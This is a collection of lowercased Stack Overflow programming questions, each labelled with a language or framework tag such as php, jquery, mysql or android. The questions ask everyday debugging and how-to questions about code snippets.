my code fails in one test case. am i doing wrong   create a code that allows people to learn about exponents. the task is to write a code which takes an integer number as an input and returns the values ranging from that of 2(two) raised to power 0(zero) to 2(two) raised to power n(the number specified in input).    <strong>input</strong> input contains the number  n  for which all the values are returned from power of 2 from 0 to n.   <strong>output</strong>    output contains the values ranging from 2(two) raised to power 0(zero) to 2(two) raised to power n(input) separated by a comma.    <strong>constraints</strong>    -1000 ≤ n ≤ 1000    <strong>sample input</strong>    5    <strong>sample output</strong>    1 2 4 8 16 32   <pre><code>#include &lt;stdio.h&gt; int main(void){    int n;double p=1;    scanf( %d  &amp;n);    if(n&gt;0){       for(int i=0;i&lt;n;i++ p*=2)           printf( %.0lf   p);       printf( %.0lf  p);    }    else if(n==0)         printf( 1 );    return 0; } </code></pre>,c
trying to develop a jquery slider savings calculator and am stuck  <a href= http://cdpn.io/aafgc  rel= nofollow >http://cdpn.io/aafgc</a>    <a href= http://codepen.io/jakedx6/pen/aafgc  rel= nofollow >http://codepen.io/jakedx6/pen/aafgc</a>    i haven t ever really tried to code anything like this in jquery before and im sure my code is a mess but i would appreciate some help on making it work. the link above is to a codepen of my problem.    thank you!,jquery
"css overflow hidden and floating elements  i want a list of items that have a cross icon in the middle on the right hand side. to do this i used an anchor with some padding  floated right  and relatively positioned. the icon is a known width and height.    the items also have some text that should also be centered vertically. the additional problem is that this text has an arbitrary length and i do not want any overflow or wrapping. the text must not overlap the icon and must be allowed to go up to its edge.    the final piece of the puzzle is that the width of each item must grow to the size of its parent. the height should remain fixed.    here is an example (<a href= https://jsfiddle.net/bj6806u6/3/  rel= nofollow >https://jsfiddle.net/bj6806u6/3/</a>)    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>div {
   background-color: red;
   padding-right: 50px;
   display: inline-block;
   width: 80%;
   vertical-align: middle;
   height: 50px;
 }
 
 p {
   background-color: yellow;
   height: 20px;
   overflow: hidden;
   text-overflow: ellipsis;
   white-space: nowrap;
   display: inline-block;
   max-width: 100%;
 }
 
 a {
   background-color: green;
   float: right;
   position: relative;
   padding: 10px;
   top: 6px;
   right: -44px;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div&gt;&lt;p&gt;this is a short paragraph.&lt;/p&gt;&lt;a&gt;x&lt;/a&gt;&lt;/div&gt;
 &lt;br /&gt;&lt;br /&gt;
 &lt;div&gt;&lt;p&gt;lorem ipsum dolor sit amet  consectetur adipiscing elit  sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam  quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident  sunt in culpa qui officia deserunt mollit anim id est laborum.&lt;/p&gt;&lt;a&gt;x&lt;/a&gt;&lt;/div&gt;</code></pre>
 </div>
 </div>
     removing the <code>-44px;</code> and it is a bit more obvious what the problem is although i still have no idea how to solve it. surely this must be possible  it seems like such a trivial problem.    so my question: how to keep the cross from moving down  i want it to always look like the first div.",css
cocos2d game development <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/3083511/cocos2d-moving-between-scene >cocos2d moving between scene</a>    </blockquote>     hi all     iam new in cocos2d game development  iam creating a game were a birds fly in the sky and there are obstacles which make bird crash when they collide with each other.    now the problem is how do i change the scene from one scene to another which looks like bird flying continuously in the sky     there is something that make object fly or run with background running.    thank you.,iphone
mysql: populate row with data from previous row  i have data that looks roughly like this:   <pre><code>user_id   range   start   end 10        500     1       500 11        175 12        200 </code></pre>   and need to transform it into something like this:   <pre><code>user_id   range   start   end 10        500     1       500 11        175     501     675 12        200     676     875 </code></pre>   so each subsequent row s start number is the previous row s end number. the current row s end number is the start number + range-1.    i was trying to do this purely in sql but seem a bit stuck as this produces an error:   <pre><code>update  users u set     start = ( select end+1 from users u2 where u2.id = u.id - 1 ) where   u.id &gt; 1; </code></pre>   which results in <code>you can t specify target table  users  for update in from clause</code> -- and while i m still playing around for a solution  seem unable to find one.,mysql
session variable not maintaining value <pre><code>//check against csfr here             $key = md5(uniqid(rand()  true));             //$key =  234 ; //using this works but not the idea             $_session[ key ] = $key;   //form &lt;form method= post  action= &lt; php echo httpf;  &gt;/complete_reg &gt;         &lt;p&gt;             &lt;label&gt;                 &lt;b&gt;email address:&lt;/b&gt;&lt;br /&gt;                 &lt;input type= text  id= user_email  name= user_email  value=   class= register_email  onblur= $( #checkid ).html( please wait... ); $.get( er_checkuser.php  { cmd:  check   check_key: $( #check_key ).val()  user: $( #user_email ).val() }  function(data){  $( #checkid ).html(data); });  /&gt;             &lt;/label&gt;             &lt;input type= hidden  id= check_key  name= check_key  value= &lt; php echo $key;  &gt;  /&gt;             &lt;span style= color:red; font: bold 12px verdana;   id= checkid  &gt;&lt;/span&gt;          &lt;/p&gt;  //calling page //er_checkuser.php foreach($_get as $key =&gt; $value) {     $get[$key] = filter($value); }  //for some reasons i don t know why the values are not the same but they should be if ($get[ check_key ] == $_session[ key ])  {      echo $_session[ key ];     echo  &lt;br&gt; ;     echo $get[ check_key ]; } </code></pre>,php
why is my href link returning a page that doesn t exist  <pre><code>&lt;a alt= upload  href= http://ios0504e.idc.ikon.org:8020/oa_java/test  target=new&gt;&lt;strong&gt;upload&lt;/strong&gt;&lt;/a&gt; </code></pre>   in the above mentioned tag  a file called as test.java is compiled and placed correctly and read  write  execute permissions are given. however  the link is not working. the alias for $oa_java is also defined correctly.,html
add method in a list  i m trying to add a short value to my indices list  but i m getting an error that the method has invalid arguments.   <pre><code>    int verticesstart = vertices.count();     short vertstart = (short)verticesstart; </code></pre>   since the indices list is a  short   i cast the variable verticesstart so it is usable.   <pre><code>    indices.add(vertstart + 0); </code></pre>   this line is where i get the error. am i not allowed to do any kind of math function in an add method,c#
writing a binary file a specific directory (pathway)  so i have code that generate a pseudo-random dungeon where rooms are rectangular and are made up of periods (<code> . </code>) while the hallways are made up of hash symbols (<code> # </code>)  so when i run my program inside the terminal it will generate a dungeon within this terminal  but my goal now is to save this dungeon into a binary file that can be read back  essential saving the file and loading the file.     i have a specific pathway that the binary file needs to be saved and loaded which you can see in my code. i ve written some back stuff so far  but i want to get someone s input if i m going in the right direction with this  my question is how do i write my dungeon to a binary file  how is it that i read my dungeon to place it into binary file   i m also getting an error for my fopen statement  something about a binary operand statement  but i m not sure what it means. any advice is appreciated. i m only going to post the code for the main function since that s where the loading and saving needs to happen  because i need to take command line arguments (<code>--save</code>  and <code>--load</code>)  but if you need to see the whole code on how the dungeon generates i ll edit my post.   <pre><code>int main(int argc  char *argv[]) {     char *ptr_path_home;     char *directory;     action_t action;      ptr_path_home = getenv( home );     directory =  .rlg327/ ;      char *pathway = malloc(strlen(ptr_path_home) + strlen(directory) + 1);      strcpy(pathway  ptr_path_home);     strcat(pathway  directory);        file *f;      if (strcmp(argv[1]   --save ) == 0)     {         action = write_binary;     }      if (action = write_binary)     {         f = fopen(pathway +  save.bin    wb );     }          srand(time(null));     createdungeon();     return 0; } </code></pre>,c
trying to chain together two jquery functions  attempting to chain two jquery s together so the second on only happens after the first.    the first function hides a div until it s 250px past the bottom of the viewport.   <pre><code>$(document).ready(function() {     $( #cta1 #cta2 ).addclass( hidden ).viewportchecker({         classtoadd:  visible animated fadeindown           offset: 250            });    });  </code></pre>   the second function animates the button within that div.   <pre><code>    $(function(){     $( .button ).animate({ margin-right : 100px }  1000); }); </code></pre>   my attempt to chain them is...   <pre><code>$(document).ready(function() {     $( #cta1 #cta2 ).addclass( hidden ).viewportchecker({         classtoadd:  visible animated fadeindown   // class to add to the elements when they are visible         offset: 250            }).$( .button ).animate({ margin-right : 100px }  1000);    }); </code></pre>   code passes lint  but does not work.    trying to learn so any help much appreciated!,jquery
will there ever be a solution for global events in .net applications  in our program we use microsoft s useractivityhook.dll to determine when a user of our windows forms app has been idle for more than x seconds.  this allows us to replicate an  auto-away  behavior much like msn/live messanger when there has been no keyboard or mouse events after a certain amount of time.    ive always wondered why .net (to my knowledge) has not implemented a way to interact with such global events.  it seems that the filesystemwatcher class is similar  in that it notifies the program of file changes that occur outside the program  why not a similar function for mouse/keyboard events,.net
how to set confirm message for reset button   this is my current code:    <code>&lt;%= button_tag  reset   type: :reset  data: { confirm:  are you sure   } %&gt;</code>    which generates:    <code>&lt;button name= button  type= reset  data-confirm= are you sure  &gt;reset&lt;/button&gt;</code>    the confirm message doesn’t show at all. so i have to change to this:     <code>&lt;button type= reset  onclick= return confirm( are you sure  )  /&gt;</code>    this one works! but is there any way i can do this in a more railsy way     if i remove <code>type: :reset</code>  the message shows but that obviously is not what i want to do.,ruby-on-rails
no matching provisioning profile found error  im getting the following error while trying to upload my app to appstore   <pre><code>no matching provisioning profiles found. none of the valid provisioning profiles allowed the special entitlement. beta-reports-active   aps environment </code></pre>   how can i be able to sort this out    <ol> <li>i have tried to regerate the profile</li> <li>i tried changing the os build number from plist file</li> <li>i tried restarting xcode</li> </ol>   but nothing works,ios
printing the array through each pass  my code works fine  but i m stuck in one part. i want to be able to print every swap  instead of printing the final sorting. can someone help me     <pre><code>public class selectionsort {      public static void main(string[] args) {         int []numbers = {10 5 7 9 1 0 4 6 11 14};          numsort(numbers);          printarray(numbers);     }     public static int[] numsort(int[] a) {         for (int i = 0; i &lt;a.length -1 ; i++ ) {             for (int j=0; j&lt;a.length-1-i; j++ ) {                 if(a[j] &gt; a [j+1]) {                     int temp = a[j+1];                     a[j+1] = a[j];                     a[j]=temp;                 }              }         }         return a;     }      public static void printarray(int[] a) {         for (int i = 0; i&lt;a.length; i++ ) {             system.out.println(a[i]);         }     } } </code></pre>,java
iphone screen capturing question  i m writing an iphone app that allows people to share images that may be copyrighted(not illegally).  the issue i am having is that i m looking for a way to work around the screen capturing.  is there any possible way you can disable screen capturing or possibly distort the image in some way so capturing will be useless  maybe even block the images when a screen capture is trying to be taken,iphone
is pylons project alive   i am wondering what is status of pylons. i currently know sth about django and trying to learn sth new and found pylons  might be a good next step but it is still active  i mean it don t have sense to learn sth which is not currently active and supported for begginers so here is my question. best regards,python
auto postback in web custom control that have 3 binded dropdown toghether  i have 18 custom  web user controls. i load web user controls in div. it work correctly and no problem on change or postback.    but i have 3 drop down list in one of custom web user controls that bind together.    for example  countries   cities   streets.    in custom web user control load i fill countries. and in selected index changed of countries i fill cities . and in selected index changed of cities i fill streets.    and all of 3 drop down list are auto post back.    <strong>but</strong>  in countries selected index changed worked correctly and set cities(custom web user control reload correctly).    but in cities selected index changed (custom web user control relaod again and set countries again and set cities again and reset all selections).    in this state cities drop down list forget selected item.    i use update panel in page  load controls in div that locate in page and update panel  have 3 drop down list that bind together. but can not set correctly. thanks,asp.net
how does function call another function in python  i want call function dynamically in python  and code like as:   <pre><code>class a:     def show1(self  x) :         print x      def show2(self  x  y) :         print x  y      def callfunc(self  f  args) :         #todo: call function f with args         pass  c = a() c.callfunc(c.show1  [1]) c.callfunc(c.show2  [1 2]) </code></pre>   but i do not know how to call  show1  or  show2  in callfunc. because  show1  and  show2  has different number of args  and  args  is a list.,python
why isn t my php contact form working  <pre><code>&lt; php  $to =  myemail@gmail.com ;  $email = $_request[ email ] ;  $username = $_request[ username ] ;  $subject =  application from  . $username;  $headers =  from:  . $email;  $reason = $_request[ reason ] ;  $sea = $_request[ plant ] ;  $body = $reason .  &lt;br/&gt;  . $sea ;  if (mail($to  $subject  $body))    print  application sent. we will get back to you soon.  ;  else    print  something went wrong  ;  &gt; </code></pre>   it always puts out something went wrong and doesn t work. what am i doing wrong,php
is there a way to set an ios app to automatically download data every night   we have a customer who wants us to have our ios app check for new data posted every night and download it if it is available. as far as i can tell this is only possible if the app is already open or if they have someone physically accept a notification or initiate the process themselves.    is this correct  i can t imagine apple wanting to allow launching of an app and downloading data with no user interaction at all.,ios
how store data in session for html pages  how to store data in session for html    for ie 8 and mozilla we have like  sessionstorage  but it doesnot work for ie7 and below    is there something that i can use that will work for all version of ie and mozilla,html
what is the output if x == 42 <pre><code>switch (x % 5) { case 0: cout &lt;&lt; x++ &lt;&lt;   ;    case 1: cout &lt;&lt; x-- &lt;&lt;   ;    break; case 2: cout &lt;&lt; ++x &lt;&lt;   ; case 3: cout &lt;&lt; --x &lt;&lt;   ; default: cout &lt;&lt; 2*x &lt;&lt;   ;  } </code></pre>,c++
i m building a website with rubyonrails and the destroy function is not working instead it is invoking the show method  this is the destroy function    <pre><code> def destroy  @restaurant.destroy respond_to do |format|   format.html { redirect_to restaurants_url  notice:  restaurant was successfully destroyed.  }   format.json { head :no_content } end   end </code></pre>,ruby-on-rails
get full url path and find the string after a specific symbol  i am trying to make a simple multilanguage  based on two buttons and get current lang by dedecting the full url path... the problem that i have with my code bellow is that it doesn t return the string after  =  equal symbol    while it display this <a href= http://www.example.com/site/ lang=en  rel= nofollow >http://www.example.com/site/ lang=en</a> in the url  i am getting  array    <pre><code>&lt; php $string = $_server[ request_uri ];  $string_parts = explode( =   $string);  if ($string_parts ==  en ){ echo  english ; }  if ($string_parts ==  de ){ echo  german ; }  &gt; </code></pre>,php
will form submit twice if there s an onclick submit   i ve been <a href= https://stackoverflow.com/questions/19789150/button-type-submit-with-onclick-submitting-twice >told</a> you need to add a  <code>return false;</code>  to the end of a method that submits the form.    i ve tried the following code  and it appears though i omit the  <code>return false</code>  the form gets submitted only once  not twice. does anyone know the standard browser behavior that dictates whether the javascript form submission overrides the html form submission or are they considered one action    <pre><code>&lt;form name= myform  action=  &gt;     &lt;button type= submit  onclick= submitform(); &gt;submit&lt;/button&gt; &lt;/form&gt; &lt;script&gt;  function submitform(){     console.log( button clicked );     document.myform.submit();  } &lt;/script&gt; </code></pre>   if i change the button to be an input type  i also get only one submission not two  from my tests  but i want to confirm this is the standard behavior. i.e.:   <pre><code>&lt;input type= submit  onclick= submitform(); /&gt; </code></pre>,javascript
ntdll!rtlpmuiregfreeregistryinfo() and sigsegv while using pointer  i ve got an error in my code when i use pointer. everything is ok when i create two objects and then use method like this:   <pre><code>insect* insect; leaf leaf; leaf.affect(insect); </code></pre>   (so far affect method does nothing but print some text) but when i change it into:   <pre><code>insect* insect; leaf* leaf; leaf-&gt;affect(insect); </code></pre>   i ve got sigsegv and <code>ntdll!rtlpmuiregfreeregistryinfo()</code> in debugger. what does it mean,c++
multiple values one field mysql  basically i have a a mysql database which i want to create containing the following tables:   <ul> <li>artist </li> <li>song</li> <li>album</li> </ul>   a song can belong to only one artist  however  a song could be in multiple albums. how would i go about implementing this in my mysql database. i ve been stuck for a few days now :(,mysql
getting rid of  undefined index  in one line without duplication  i am processing the result of a <em>group by</em> query which does not produce result for all the permutation of constants. it obviously gives an  undefined index  notice which i want to get of.    of course i could use <code>isset</code> but it would mean duplication of code (of the index). an other way would be to use a variable to store the index  but it would mean every such line of code is now two line. i like the readability of this line of code.   <pre><code>$stat-&gt;setmapped($companystats[ account ][mypackage_myclass::$status_accepted]); </code></pre>   is there any way (except the error operator <code>@</code> to avoid this notice),php
selecting data assistance  i m trying to display two sets of data. the first set shows the people that own complexes that have tenants in them. the second set shows people that own complexes that do not have any tenants in them.    this is the full list of complex names:   <pre><code>compn ----- cm700 cm350 cm300 cm600 cm900 cm200 cm100 </code></pre>   i figured out how to filter out the ones that currently have rental agreements. i used the following command.   <pre><code>    select distinct customer.custlname                  customer.custfname from customer       own       rental where own.custid = customer.custid   and rental.compname = own.compname; </code></pre>   then i get the following result:   <pre><code>custlname  custfname ---------- ---------- pearson    robert garnet     kylie agassi     pamela </code></pre>   this corresponds to these values:   <pre><code>compn ----- cm350 cm900 cm200 </code></pre>   i am now trying to figure out how to display the people that do not have tenants in their complexes. i m not exactly sure how to approach this. i ve been messing with it for a while and i can t quite figure out the correct operator procedure to use.    thanks    additional information about tables:    customer    <pre><code>custid custlname  custfname  bdate     s mgr </code></pre>   custid is the pk.    own:   <pre><code>custid compname </code></pre>   custid is a fk referring to table customer. compname is a fk referring to table complex.    rental:   <pre><code>custid compname   aptnum </code></pre>   custid is the fk referring to table customer. compname is a fk referring to table complex. aptnum is a fk referring to table apartment.,sql
delete a part from the request.rawurl on a button server side click  how can i remove a part from the request url inside a button server side click here is my code:   <pre><code>url:http://localhost:51854/supportwebsite/dashboard.aspx fromforum=t  newurl:http://localhost:51854/supportwebsite/dashboard.aspx </code></pre>   i know that i can use the string properties like remove and replace but i don t want to use responce.redirect(newurl) at the end of my button click because it would make no sense why because the button do post back in his default functionality,c#
referencing a list element by it s name  i m trying to scan through a list of dictionary references to get the number of keys in each dictionary.  how do i go about referencing an element s name as opposed to the content of the dictionary   each of the elements in the audit_dicts list is a reference to an existing dictionary.   <pre><code>audit_dicts = [ osdata  weblogic  tomcat ] for i in audit_dicts:     print  length of the %s dictionary is %d lines.  % (i.name()  len(i)) </code></pre>   i understand that it has to do with the contents type being a dictionary  but is there no way to print the name of the element in the list   i m essentially using the list to store all of these dictionaries  so that i can perform multiple actions on them in a single loop.  also  is there a way to declare these dictionaries within the same loop   what is the pythonic way of doing so   i currently have a bout 20 different dicitonaries of data  but i ve only been able to to delcare each one individually before building the dictionary from web data.   <pre><code>for i in audit_dicts:     i = {} </code></pre>,python
validating form data to use for retrieving values from multidimensional array in php  i would like to know how i can validate data from the form.php before using it to retreive a specific article from the $laws array on process.php    (form.php)   <pre><code>&lt;form action= process.php  method= get &gt; group: &lt;select name= group &gt;     &lt;option value= group1 &gt;group1&lt;/option&gt;     &lt;option value= group2 &gt;group2&lt;/option&gt; &lt;/select&gt;  chapter: &lt;input type= text  name= chapter &gt;  article: &lt;input type= text  name= article &gt;  &lt;input type= submit  value= go to article &gt;  &lt;/form&gt; </code></pre>   (process.php)   <pre><code>&lt; php session_start(); $laws=array(         group1 =&gt;array(                        1 =&gt;array(                                  1 =&gt; this is article (1) in chapter (1) of (group1)                                    2 =&gt; this is article (2) in chapter (1) of (group1)                                    3 =&gt; this is article (3) in chapter (1) of (group1)                                   )                         2 =&gt;array(                                  1 =&gt; this is article (1) in chapter (2) of (group1)                                    2 =&gt; this is article (2) in chapter (2) of (group1)                                    3 =&gt; this is article (3) in chapter (2) of (group1)                                   )                         )          group2 =&gt;array(                        1 =&gt;array(                                  1 =&gt; this is article (1) in chapter (1) of (group2)                                    2 =&gt; this is article (2) in chapter (1) of (group2)                                    3 =&gt; this is article (3) in chapter (1) of (group2)                                   )                         2 =&gt;array(                                  1 =&gt; this is article (1) in chapter (2) of (group2)                                    2 =&gt; this is article (2) in chapter (2) of (group2)                                    3 =&gt; this is article (3) in chapter (2) of (group2)                                   )          )        );   $_session[ group ] = $_get[ group ]; $_session[ chapter ] = $_get[ chapter ]; $_session[ article ] = $_get[ article ];  $group = $_session[ group ]; $chapter = $_session[ chapter ]; $article = $_session[ article ];    // echo article from laws array  echo $group .   chapter  . $chapter .   article  . $article .  &lt;br/&gt; ; echo $laws[$group][$chapter][$article];   &gt;  &lt;br/&gt;  &lt;a href= sample.php &gt;previous articles&lt;/a&gt; &lt;a href= sample.php &gt;next articles&lt;/a&gt; </code></pre>   question 1    before setting $_session values with data from $_get variables  how do i validate the $_get values from the form with the following scheme    <pre><code>data in chapter and article input forms:     are not empty;     are numbers;     are not less than or greater than the existing array chapters and article numbers;     do not have spaces;     do not have decimals;     do not have letters;     do not have negative  positive and; or other signs; </code></pre>   question 2    what php code should i add to the next article and previous article links  to echo the next article after the currently echoed article      how should i add this code to the links;    what should be done to the page when the the last article or the first article has been echoed since the next article and previous article links wouldn t access anymore non-existent arrays in a particular chapter to prevent errors being echoed back.    thank you!,php
the application <myapp> was not installed on the iphone  user s iphone  because the signer is not valid  i am a newbie on stackoverflow.    while trying to get ad-hoc version and trying to install it on my device i am getting.    <code>the application  myapp  was not installed on the iphone  user s iphone  because the signer is not valid.</code>    what can be done,iphone
removing elements from dom using queryselectorall  jquery  getelementsbyid  getelementsbyclassname  i am writing a function for a library that takes an object of elements and removes it from the dom.  i have this working fine but was wondering if there is a way to do a single <code>for</code> loop   i found that <code>nodelists</code> and <code>htmlcollections</code> can t use the same for loop so i build an array then remove the elements with the same loop.   <pre><code>   _remove = function(elem) {       if(!elem) { return false; }       // getelementbyid       if(!elem.length) {         if(elem.parentnode) {           elem.parentnode.removechild(elem);         }       // queryselectorall  jquery  getelementsbyclassname  getelementsbytagname       } else {         var elems = [];         for(var j = 0; j&lt;elem.length; j++) {           if(elem[j]) {             elems.push(elem[j]);           }         }         for(var i=0; i&lt;elems.length; i++) {           if(elems[i].parentnode) {             elems[i].parentnode.removechild(elems[i]);           }         }         return false;       }     } </code></pre>   called by:   <pre><code>_remove(document.getelementbyid( someid )); _remove(document.getelementsbyclassname( someclass )); _remove(document.getelementsbytagname( tag )); _remove($( #someid)); _remove($( .someclass)); _remove(document.queryselectorall( someid or class or tag)); </code></pre>,javascript
count remaining items in order to calculate percentages  i have a page where a user has to drag items from an area elsewhere on a screen.    when all items are dragged out -- 100% task is accomplished.    i would like to calculate what % of the task is accomplished on each drag and drop (when an items is dragged out of gray area).    how do i count remaining items within an area     how do i convert into percentages     shall i calculate what each item s worth in terms of % on page load and then subtract,jquery
adding an nsdictionary to an nsmutabledictionary  i ve been working on this for a few days now. searched stackoverflow and other sites for solutions but none of them appear to work. most of the postings i ve found are quite old (before 2013) so i m thinking this is not the right way to do this.    i thought this would work:   <pre><code>[localmutabledictionary addentriesfromdictionary:devicedictionary]; </code></pre>   <code>localmutabledictionary</code> remains null    i ve worked around this using an array of integers instead of a mutable dictionary. but that doesn t give me the right result when i add the array to an nsdictionary for subsequent processing with nsjsonserialisation. values from my array don t get double quote marks around them. the json receiver / parser is expecting values in quotes (runs with json produced in vb code for a similar app). i can use an alternative parser to work around this  but i would rather get a clean solution.     this is probably a case of there being a simple syntax that i haven t managed to find  or that i m just using an out-of-date style. or i may just be adding my array to the nsdictionary  the wrong way . a solution for either method would work for me - thank you.,objective-c
confused as how to use componentsseparatedbystring on iphone  after nsxml pasring value of my nsmutable array    ab   <pre><code>=\n\n\n\thttp://xyz.com/uploads/resto_6298__20091209@1621_250.jpg\n\thttp://xyz.com/uploads/resto_6298__200912099_2_250.jpg\n  </code></pre>   now i am doing this to make this url working    <pre><code>nsstring *sw=ab;   nsarray *strings = [sw componentsseparatedbystring: @ \n\t ]; nslog(@ what i have %@  strings); </code></pre>   but my app always crash and i am getting this error   <pre><code>[nscfarray componentsseparatedbystring:]: unrecognized selector sent to instance 0x1b28b0 2010-10-05 10:17:31.382 wat2eat[2311:207] *** terminating app due to uncaught exception  nsinvalidargumentexception   reason:  *** -[nscfarray componentsseparatedbystring:]: unrecognized selector sent to instance 0x1b28b0  </code></pre>   how to parse this ab so that i can extract exact url,iphone
how to implement ontouchlistener   i have a togglebutton that i wish to set an ontouchlistener on. i am getting some errors however so i don t think i m doing this right.    i have declared my button.   <pre><code>private togglebutton pushbtn; </code></pre>   i have set my activity to implement view.ontouchlistener.    <pre><code>public class incallactivity extends sherlockfragmentactivity implements  view.ontouchlistener { </code></pre>   in oncreate i have written:   <pre><code>pushbtn = (togglebutton) findviewbyid(r.id.ptt_button3); pushbtn.setontouchlistener(this); </code></pre>   then i have tried to use the listener in the class::   <pre><code>pushbtn.setontouchlistener(new ontouchlistener() {      @override     public boolean ontouch(view v  motionevent event)     {         // if more than one call  change this code         int callid = 0;         for (sipcallsession callinfo : callsinfo)         {             callid = callinfo.getcallid();             log.e(tag     + callinfo.getcallid());          }         final int id = callid;         switch (event.getaction())         {             case motionevent.action_down:             {                  // press                 pushbtn.setbackgroundresource(r.drawable.btn_blue_glossy);                 pushbtn.setchecked(true);                 ondtmf(id  17  10);                 ondtmf(id  16  9);                  return true;             }             case motionevent.action_up:             {                  // release                 pushbtn.setbackgroundresource(r.drawable.btn_lightblue_glossy);                 pushbtn.setchecked(false);                 ondtmf(id  18  11);                 ondtmf(id  18  11);                  return true;             }             default:                 return false;         }     }  }); </code></pre>   i have multiple errors  it says <code>ontouch</code> is not implemented  but i have done so  also i placed the listener in the class and it now complains about the method before it saying:   <pre><code>syntax error on token  }   delete this token </code></pre>   but that was fine until i added the listener  does a listener have to be in a method or something     at the end of my listener i get the error:   <pre><code>syntax error  insert  }  to complete methodbody </code></pre>   but i do now know why.    <strong><em>edit update</em></strong>    here is my oncreate  i get a <code>nullpointerexception</code>:   <pre><code>public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);           //handler.setactivityinstance(this);         log.d(this_file   create in call );         setcontentview(r.layout.in_call_main);          sipcallsession initialsession = getintent().getparcelableextra(sipmanager.extra_call_info);         synchronized (callmutex) {             callsinfo = new sipcallsession[1];             callsinfo[0] = initialsession;         }          bindservice(new intent(this  sipservice.class)  connection  context.bind_auto_create);         prefswrapper = new preferencesproviderwrapper(this);          // log.d(this_file   creating call handler for   +         // callinfo.getcallid()+  state  +callinfo.getremotecontact());         powermanager = (powermanager) getsystemservice(context.power_service);         wakelock = powermanager.newwakelock(powermanager.screen_bright_wake_lock                 | powermanager.acquire_causes_wakeup | powermanager.on_after_release                   com.csipsimple.onincomingcall );         wakelock.setreferencecounted(false);           takekeyevents(true);          // cache findviews         mainframe = (viewgroup) findviewbyid(r.id.mainframe);         incallcontrols = (incallcontrols) findviewbyid(r.id.incallcontrols);         incallanswercontrols = (incallanswercontrols) findviewbyid(r.id.incallanswercontrols);         activecallsgrid = (incallinfogrid) findviewbyid(r.id.activecallsgrid);         heldcallsgrid = (incallinfogrid) findviewbyid(r.id.heldcallsgrid);         pushbtn = (togglebutton) findviewbyid(r.id.ptt_button3);         //pushbtn.setontouchlistener((ontouchlistener) this);         attachvideopreview();          incallcontrols.setontriggerlistener(this);         incallanswercontrols.setontriggerlistener(this);          if(activecallsadapter == null) {             activecallsadapter = new callsadapter(true);         }         activecallsgrid.setadapter(activecallsadapter);           if(heldcallsadapter == null) {             heldcallsadapter = new callsadapter(false);         }         heldcallsgrid.setadapter(heldcallsadapter);           screenlocker lockoverlay = (screenlocker) findviewbyid(r.id.lockeroverlay);         lockoverlay.setactivity(this);         lockoverlay.setonleftrightlistener(this);          /*         middleaddcall = (button) findviewbyid(r.id.add_call_button);         middleaddcall.setonclicklistener(new onclicklistener() {             @override             public void onclick(view arg0) {                 ontrigger(add_call  null);             }         });         if (!prefswrapper.getpreferencebooleanvalue(sipconfigmanager.support_multiple_calls)) {             middleaddcall.setenabled(false);             middleaddcall.settext(r.string.not_configured_multiple_calls);         }         */          // listen to media &amp; sip events to update the ui         registerreceiver(callstatereceiver  new intentfilter(sipmanager.action_sip_call_changed));         registerreceiver(callstatereceiver  new intentfilter(sipmanager.action_sip_media_changed));         registerreceiver(callstatereceiver  new intentfilter(sipmanager.action_zrtp_show_sas));          proximitymanager = new callproximitymanager(this  this  lockoverlay);         keyguardmanager = keyguardwrapper.getkeyguardmanager(this);          dialfeedback = new dialingfeedback(this  true);          if (prefswrapper.getpreferencebooleanvalue(sipconfigmanager.prevent_screen_rotation)) {             setrequestedorientation(activityinfo.screen_orientation_portrait);         }          if (quittimer == null) {             quittimer = new timer( quit-timer );         }           useautodetectspeaker = prefswrapper.getpreferencebooleanvalue(sipconfigmanager.auto_detect_speaker);          applytheme();         proximitymanager.starttracking();          incallcontrols.setcallstate(initialsession);         incallanswercontrols.setcallstate(initialsession);             pushbtn.setontouchlistener(new ontouchlistener() {              @override             public boolean ontouch(view v  motionevent event) {                 //if more than one call  change this code               int callid = 0;               for (sipcallsession callinfo : callsinfo) {                   callid = callinfo.getcallid();                   log.e(tag    +callinfo.getcallid());                }               final int id= callid;                 switch (event.getaction()) {                 case motionevent.action_down: {                      //press                     pushbtn.setbackgroundresource(r.drawable.btn_blue_glossy);                     pushbtn.setchecked(true);                     ondtmf(id  17  10);                     ondtmf(id  16  9);                      return true;                 }                 case motionevent.action_up: {                      //release                     pushbtn.setbackgroundresource(r.drawable.btn_lightblue_glossy);                     pushbtn.setchecked(false);                     ondtmf(id  18  11);                      ondtmf(id  18  11);                      return true;                 }                 default:                     return false;                 }             }          });         } </code></pre>   <img src= https://i.stack.imgur.com/tjlww.png  alt= enter image description here >    the line with the nullpointer 250 is <code>pushbtn.setontouchlistener(new ontouchlistener() {</code>,android
how to resolve custom place holders in email template  i have to send mail while certain action takes place in application. while sending mail i have to fetch email template  email templates contains placeholders like {customername} {customeraddress}.  i am not able to determine what is the best practice to resolve placeholder  i googled it but no useful results. below is the solution i have arrived at  if any other best practices available suggest .   <pre><code>public class emailtemplateresolver&lt;t&gt; where t : class {     public string resolvetemplate(t datacontainer  string template)     {         string pattern = @ pattern ;         matchcollection placeholders = regex.matches(template  pattern);         foreach (var item in placeholders)         {             //find data will provide original data from datacontainer and place holder text will be removed from template             template = template.replace(item.tostring()  finddata(datacontainer  item.tostring()));          }          return template;     }      //every values in placeholder will be property of datacontainer object     public string finddata(t datacontainer  string property)      {         string data=string.empty;          //use reflection to find the property value  use recursion to find the original value in nested object          return data;     } } </code></pre>,c#
mysql how to select from one table if the second table has no matching information  i am trying to only show results from table inventoryfolders if the id does not exist in table newlisting.     here is my query:   <pre><code>$sql =  select *            from avirobust.inventoryfolders            where parentfolderid =   .$foname.               and agentid =   .$mne.               and parentfolderid not in (select folderid from marketplace.newlisting) ; </code></pre>   however it never returns a result even if newlisting has no data in it.    i know that join can work but can i use something like in my query above  if so what did i do wrong in my query,mysql
starting rails server for different apps  if i am working on two different rails apps (app_one  app_two)  how does the rails server work when i switch from working on app_one to working on app_two  does app_two show up in a different port  when i go to localhost:3000 it keeps showing app_one. i tried closing all of my terminals and then rebooting the rails server from the app_two root directory  but i still get app_one at localhost:3000,ruby-on-rails
